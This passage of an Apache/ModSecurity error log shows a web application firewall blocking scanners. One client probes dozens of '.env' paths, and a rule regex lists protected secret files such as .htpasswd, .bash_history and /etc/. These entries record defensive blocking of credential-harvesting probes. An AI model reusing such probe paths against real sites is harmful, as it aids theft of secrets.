|^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/09-production/.env"] [unique_id "ai3zDNyTkdrNlD40tSGt1wAAAEw"] [Sat Jun 13 18:17:16.757469 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:16.757751 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:17:16.829710 2026] [security2:error] [pid 646876:tid 647124] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/10-subscriptions/.env"] [unique_id "ai3zDNyTkdrNlD40tSGt2wAAAHQ"] [Sat Jun 13 18:17:16.970748 2026] [security2:error] [pid 646876:tid 647117] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/11-transactions/.env"] [unique_id "ai3zDNyTkdrNlD40tSGt3gAAAG0"] [Sat Jun 13 18:17:17.110462 2026] [security2:error] [pid 646876:tid 647020] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/drupal-separate-services/.env"] [unique_id "ai3zDdyTkdrNlD40tSGt4gAAAAw"] [Sat Jun 13 18:17:17.137874 2026] [security2:error] [pid 648189:tid 648350] [remote 17.22.245.212:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 212.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zDVWSojQL4F7upKBj5wAAyn8"] [Sat Jun 13 18:17:17.164544 2026] [security2:error] [pid 646876:tid 647123] [client 34.23.213.224:33298] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zDdyTkdrNlD40tSGt5QAAAHM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:17.185334 2026] [security2:error] [pid 648189:tid 648362] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/sprintf_variation14.phpt"] [unique_id "ai3zDVWSojQL4F7upKBj6wAAAI4"] [Sat Jun 13 18:17:17.206640 2026] [access_compat:error] [pid 648189:tid 648260] [remote 57.141.14.29:39423] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:17.207103 2026] [access_compat:error] [pid 648189:tid 648260] [remote 57.141.14.29:39423] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:17.239566 2026] [lsapi:warn] [pid 646876:tid 647093] [client 190.22.209.158:52984] [host kshar.net] Backend log: PHP Warning: Use of undefined constant user_level - assumed 'user_level' (this will throw an Error in a future version of PHP) in /home2/yourkat1/public_html/kshar/wp-content/plugins/ultimate-google-analytics/ultimate_ga.php on line 524\n [Sat Jun 13 18:17:17.249613 2026] [security2:error] [pid 646876:tid 647019] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/react-dashboard/backend/.env"] [unique_id "ai3zDdyTkdrNlD40tSGt5gAAAAs"] [Sat Jun 13 18:17:17.263024 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvZHJpdmVyL3Bjc3Brci9kcml2ZXI= [Sat Jun 13 18:17:17.263353 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvZHJpdmVyL3Bjc3Brci9kcml2ZXI= [Sat Jun 13 18:17:17.335188 2026] [security2:error] [pid 648189:tid 648462] [client 34.23.213.224:33304] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zDVWSojQL4F7upKBj8gAAAOw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:17.388925 2026] [security2:error] [pid 646876:tid 647085] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/sdl-first/.env"] [unique_id "ai3zDdyTkdrNlD40tSGt6QAAAE0"] [Sat Jun 13 18:17:17.497094 2026] [security2:error] [pid 648189:tid 648389] [client 34.23.213.224:33310] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zDVWSojQL4F7upKBj9QAAAKk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:17.529189 2026] [security2:error] [pid 646876:tid 647074] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/sdl-first/prisma/.env"] [unique_id "ai3zDdyTkdrNlD40tSGt7AAAAEI"] [Sat Jun 13 18:17:17.615317 2026] [access_compat:error] [pid 646876:tid 646971] [remote 57.141.14.113:47416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:17.615571 2026] [access_compat:error] [pid 646876:tid 646971] [remote 57.141.14.113:47416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:17.631517 2026] [access_compat:error] [pid 648189:tid 648346] [remote 57.141.14.105:28654] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:17.631902 2026] [access_compat:error] [pid 648189:tid 648346] [remote 57.141.14.105:28654] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:17.667030 2026] [security2:error] [pid 648189:tid 648377] [client 34.23.213.224:33324] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zDVWSojQL4F7upKBj-QAAAJ0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:17.668432 2026] [security2:error] [pid 646876:tid 647091] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/vue-dashboard/backend/.env"] [unique_id "ai3zDdyTkdrNlD40tSGt8QAAAFM"] [Sat Jun 13 18:17:17.758883 2026] [security2:error] [pid 648189:tid 648474] [client 172.56.168.133:31603] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zDVWSojQL4F7upKBj_AAAAPg"] [Sat Jun 13 18:17:17.767987 2026] [security2:error] [pid 648189:tid 648474] [client 172.56.168.133:31603] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zDVWSojQL4F7upKBj_AAAAPg"] [Sat Jun 13 18:17:17.787895 2026] [access_compat:error] [pid 646876:tid 646942] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:17:17.788367 2026] [access_compat:error] [pid 646876:tid 646942] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:17:17.807643 2026] [security2:error] [pid 646876:tid 647048] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/web/.env"] [unique_id "ai3zDdyTkdrNlD40tSGt8wAAACg"] [Sat Jun 13 18:17:17.844330 2026] [security2:error] [pid 648189:tid 648357] [client 34.23.213.224:33340] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zDVWSojQL4F7upKBkAAAAAIk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:17.853752 2026] [security2:error] [pid 646876:tid 646914] [remote 17.22.237.150:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zDdyTkdrNlD40tSGt9AAAUCM"] [Sat Jun 13 18:17:17.897506 2026] [security2:error] [pid 646876:tid 647046] [client 114.119.158.167:60843] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "nysas.org"] [uri "/robots.txt"] [unique_id "ai3zDdyTkdrNlD40tSGt9QAAACY"], referer: http://nysas.org/robots.txt [Sat Jun 13 18:17:17.947958 2026] [security2:error] [pid 646876:tid 647100] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/with-cookie-auth-fauna/.env"] [unique_id "ai3zDdyTkdrNlD40tSGt9gAAAFw"] [Sat Jun 13 18:17:18.006561 2026] [security2:error] [pid 646876:tid 647083] [client 34.23.213.224:33346] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zDtyTkdrNlD40tSGt-QAAAEs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:18.018927 2026] [security2:error] [pid 646876:tid 646948] [remote 17.241.227.52:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zDdyTkdrNlD40tSGt-AAABUU"] [Sat Jun 13 18:17:18.087108 2026] [security2:error] [pid 646876:tid 647065] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/with-dotenv/.env"] [unique_id "ai3zDtyTkdrNlD40tSGt-gAAADk"] [Sat Jun 13 18:17:18.131927 2026] [access_compat:error] [pid 646876:tid 647006] [remote 57.141.14.28:43670] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:18.132212 2026] [access_compat:error] [pid 646876:tid 647006] [remote 57.141.14.28:43670] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:18.138768 2026] [security2:error] [pid 648189:tid 648290] [remote 17.246.23.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zDlWSojQL4F7upKBkBQAAj0Q"] [Sat Jun 13 18:17:18.227452 2026] [security2:error] [pid 646876:tid 647031] [client 185.177.72.9:40762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/examples/with-firebase-authentication-serverless/.env"] [unique_id "ai3zDtyTkdrNlD40tSGt_AAAABc"] [Sat Jun 13 18:17:18.251046 2026] [access_compat:error] [pid 648189:tid 648248] [remote 216.73.216.223:17997] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:18.251399 2026] [access_compat:error] [pid 648189:tid 648248] [remote 216.73.216.223:17997] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:18.284107 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:17:18.284563 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 